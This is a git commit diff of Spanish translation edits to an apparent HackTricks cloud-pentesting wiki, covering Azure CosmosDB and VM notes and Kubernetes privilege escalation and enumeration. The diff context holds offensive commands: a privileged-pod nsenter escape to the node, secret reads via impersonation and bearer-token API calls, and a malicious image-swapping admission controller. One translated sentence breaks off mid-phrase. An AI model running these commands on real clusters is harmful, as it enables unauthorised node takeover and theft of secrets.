Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB

This commit is contained in:
Translator
2025-01-22 23:09:12 +00:00
parent fbd1168835
commit 182c0cb68c
5 changed files with 28 additions and 65 deletions

View File

@@ -352,6 +352,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
* Echar un vistazo a la post explotación "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" y definiciones de roles porque aquí podría haber una escalación de privilegios
* Echar un vistazo a las restauraciones
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View File

@@ -1,37 +0,0 @@
# Az - VMs Unath
{{#include ../../../banners/hacktricks-training.md}}
## Máquinas Virtuales
Para más información sobre las Máquinas Virtuales de Azure, consulta:
{{#ref}}
../az-services/vms/
{{#endref}}
### Servicio vulnerable expuesto
Un servicio de red que es vulnerable a algún RCE.
### Imágenes de Galería Pública
Una imagen pública puede tener secretos dentro de ella:
```bash
# List all community galleries
az sig list-community --output table
# Search by publisherUri
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
```
### Extensiones Públicas
Esto sería más extraño pero no imposible. Una gran empresa podría poner una extensión con datos sensibles dentro de ella:
```bash
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -77,7 +77,7 @@ hostNetwork: true
Lo siguiente indica todos los privilegios que un contenedor puede tener:
- **Acceso privilegiado** (deshabilitando protecciones y configurando capacidades)
- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
- **Deshabilitar namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes
- **Montar hosts / dentro del contenedor**
```yaml:super_privs.yaml
@@ -123,7 +123,7 @@ Una línea de [este tweet](https://twitter.com/mauilion/status/11294684854807511
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en:
Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en:
#### Sigilo
@@ -149,7 +149,7 @@ Para más información, consulta:
pod-escape-privileges.md
{{#endref}}
### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
### **Crear/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
Es posible abusar de estos permisos para **crear un nuevo pod** y establecer privilegios como en el ejemplo anterior.
@@ -235,7 +235,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
#### Eludir la protección de solo lectura <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw:
Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` está disponible, puedes simplemente volver a montar la carpeta como rw:
```bash
mount -o rw,remount /hostlogs/
```
@@ -247,7 +247,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un montaje hostPath, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -297,12 +297,12 @@ name: task-pv-storage-vol
Con un privilegio de [**suplantación de usuario**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada.
Simplemente use el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
Solo usa el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
O use la API REST:
O utiliza la API REST:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -312,7 +312,7 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listando Secretos
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al punto final de la API REST:
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al endpoint de la API REST:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
@@ -389,7 +389,7 @@ El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjkl
Si tiene los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puede **crear** un nuevo CeSR de un **nuevo nodo.**
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
Un **ejemplo de un rol** con todos los permisos requeridos es:
```yaml
@@ -424,10 +424,7 @@ verbs:
```
Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de esas para escalar privilegios robando secretos.\
Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación):
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
@@ -516,7 +513,7 @@ Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos
### Proxy de nodos
Principales con acceso al subrecurso **`nodes/proxy`** pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página:
Principales con acceso al **`nodes/proxy`** subrecurso pueden **ejecutar código en pods** a través de la API de Kubelet (según [**esto**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Más información sobre la autenticación de Kubelet en esta página:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
@@ -575,7 +572,7 @@ Crea tu .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edita tu .yaml y añade las líneas sin comentar:
Edita tu .yaml y añade las líneas descomentadas:
```yaml
#apiVersion: v1
#kind: Pod
@@ -645,7 +642,7 @@ kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Como se puede ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!?
Como puedes ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!?
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
@@ -667,9 +664,9 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con
## Mejores Prácticas
### **Deshabilitar la Automontura de Tokens de Cuentas de Servicio**
### **Deshabilitar el Automontaje de Tokens de Cuentas de Servicio**
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontura.
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.
- **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
### **Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings**

View File

@@ -8,7 +8,7 @@ Si has comprometido el acceso a una máquina, el usuario puede tener acceso a al
En esta carpeta podrías encontrar archivos de configuración con **tokens y configuraciones para conectarse al servidor API**. En esta carpeta también puedes encontrar una carpeta de caché con información recuperada previamente.
Si has comprometido un pod dentro de un entorno de kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
Si has comprometido un pod dentro de un entorno de Kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el entorno K8 actual:
### Tokens de Cuenta de Servicio
@@ -29,7 +29,7 @@ Generalmente **uno** de los directorios:
contiene los archivos:
- **ca.crt**: Es el certificado ca para verificar las comunicaciones de kubernetes
- **ca.crt**: Es el certificado ca para verificar las comunicaciones de Kubernetes
- **namespace**: Indica el espacio de nombres actual
- **token**: Contiene el **token de servicio** del pod actual.
@@ -55,7 +55,7 @@ Si no sabes qué es **RBAC**, **lee esta sección**.
## Aplicaciones GUI
- **k9s**: Una GUI que enumera un clúster de kubernetes desde la terminal. Consulta los comandos en [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona todo para luego buscar recursos en todos los espacios de nombres.
- **k9s**: Una GUI que enumera un clúster de Kubernetes desde la terminal. Consulta los comandos en [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona todo para luego buscar recursos en todos los espacios de nombres.
- **k8slens**: Ofrece algunos días de prueba gratuita: [https://k8slens.dev/](https://k8slens.dev/)
## Hoja de Trucos de Enumeración
@@ -66,17 +66,17 @@ Para enumerar un entorno K8s necesitas un par de cosas:
- La **dirección (**_**https://host:port**_**) del API de Kubernetes**. Esto generalmente se puede encontrar en las variables de entorno y/o en el archivo de configuración kube.
- **Opcional**: El **ca.crt para verificar el servidor API**. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del servidor API, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no necesitarás esto.
Con esos detalles puedes **enumerar kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, puedes simplemente descargar esa información y enumerar la plataforma desde tu host.
Con esos detalles puedes **enumerar Kubernetes**. Si el **API** por alguna razón es **accesible** a través de **Internet**, puedes simplemente descargar esa información y enumerar la plataforma desde tu host.
Sin embargo, generalmente el **servidor API está dentro de una red interna**, por lo tanto necesitarás **crear un túnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **subir el** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usar **`curl/wget/anything`** para realizar solicitudes HTTP en bruto al servidor API.
### Diferencias entre los verbos `list` y `get`
Con permisos de **`get`** puedes acceder a la información de activos específicos (_opción `describe` en `kubectl`_) API:
Con permisos de **`get`** puedes acceder a información de activos específicos (_opción `describe` en `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de activo (_opción `get` en `kubectl`_):
Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de activo (_`get` opción en `kubectl`_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
@@ -119,7 +119,7 @@ Por defecto, el APISERVER se comunica con el esquema `https://`
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> si no hay `https://` en la URL, puede que obtengas un error como Bad Request.
> si no hay `https://` en la URL, puede que obtenga un error como Bad Request.
Puedes encontrar un [**cheatsheet oficial de kubectl aquí**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de manera ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso.
@@ -272,7 +272,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
```
### Obtener Cuentas de Servicio
Como se discutió al principio de esta página **cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio**. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.
Como se discutió al principio de esta página, **cuando se ejecuta un pod, generalmente se le asigna una cuenta de servicio**. Por lo tanto, listar las cuentas de servicio, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -347,7 +347,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/default/services/
### Obtener nodos
Obtén todos los **nodos configurados dentro del clúster**.
Obtener todos los **nodos configurados dentro del clúster**.
{{#tabs }}
{{#tab name="kubectl" }}